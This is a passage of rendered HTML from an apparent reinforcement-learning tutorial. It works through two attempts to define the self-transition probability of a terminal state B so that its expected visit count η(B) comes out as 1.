mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span><span style="top:-2.0287200000000007em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.32144em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.0037em;">α</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.0037em;">α</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693300000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span><span style="top:-0.11939000000000011em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">⟺</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span></span><span style="top:1.8620500000000013em;"><span class="pstrut" style="height:3.32144em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.32144em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.590392em;"><span style="top:-2.9890000000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.4194900000000015em;"><span></span></span></span></span></span></span></span></span></span></span></span></div>
<p>This is where the problem begins. What is the value of <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p^\pi(B|B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span></span>?</p>
<h2 id="first-attempt-tinfty">First attempt <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>T</mi><mo>&#x3C;</mo><mi mathvariant="normal">∞</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(T&#x3C;\infty)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&#x3C;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∞</span><span class="mclose">)</span></span></span></span></span><a aria-hidden="true" tabindex="-1" class="h-anchor" href="#first-attempt-tinfty"><span class="icon icon-link"></span></a></h2>

<p>We know that all episodes terminate as soon as we reach <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span>.
Therefore, at least intuitively, we would like the value of the average count <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span></span>
to be <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span></span>, since we are always going to be in <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span> exactly once.</p>

<p>The only way to make this happen, starting from our previous formula,</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(B) = 1 + \eta(B)p^\pi(B|B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span></span></div>
<p>is by defining the probability of going from <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span> to <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span> to be <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span></span></span></span>:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn><mo>+</mo><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mn>0</mn><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\eta(B) = 1 + \eta(B)0 = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span></span></div>
<p>This seems to work nicely, both <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(A)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mclose">)</span></span></span></span></span> and <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span></span> are what we expect. Then,
why is the formula at the beginning of the article not working?</p>
<p>…</p>
<p>Because our
probabilities do not add up! The sum of the probabilities of going from <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span> to
every other state should be <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span></span>, but is actually 0:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><munder><mo>∑</mo><mi>s</mi></munder><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>A</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo><mo>+</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn><mo>+</mo><mn>0</mn><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\sum_s p^\pi(s|B) = p^\pi(A|B) + p^\pi(B|B) = 0 + 0 = 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.3000100000000003em;vertical-align:-1.250005em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">A</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span></span></span></span></div>
<p>This, quite obviously, makes our original formula break when we assume</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><munder><mo>∑</mo><mi>s</mi></munder><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><mo>=</mo><mn>1.</mn></mrow><annotation encoding="application/x-tex">\sum_s p^\pi(s|\bar s) = 1.</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.3000100000000003em;vertical-align:-1.250005em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8999949999999999em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.250005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mord">.</span></span></span></span></span></div>
<p>Umhh … can we find an other way?</p>
<h2 id="second-attempt-tinfty">Second attempt <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>T</mi><mo>=</mo><mi mathvariant="normal">∞</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(T=\infty)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∞</span><span class="mclose">)</span></span></span></span></span><a aria-hidden="true" tabindex="-1" class="h-anchor" href="#second-attempt-tinfty"><span class="icon icon-link"></span></a></h2>
<p>Let us try with an other option. If we consider <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span> to be an absorbing state,
then <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p^\pi(B|B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span></span> should be <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span></span>. However, if we substitute that value we obtain
something weird:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mn>1</mn><mrow><mn>1</mn><mo>−</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow></mfrac><mo>=</mo><mfrac><mn>1</mn><mn>0</mn></mfrac></mrow><annotation encoding="application/x-tex">\eta(B) = \frac{1}{1-p^\pi(B|B)} = \frac{1}{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.25744em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.32144em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.590392em;"><span style="top:-2.9890000000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.00744em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.32144em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></div>
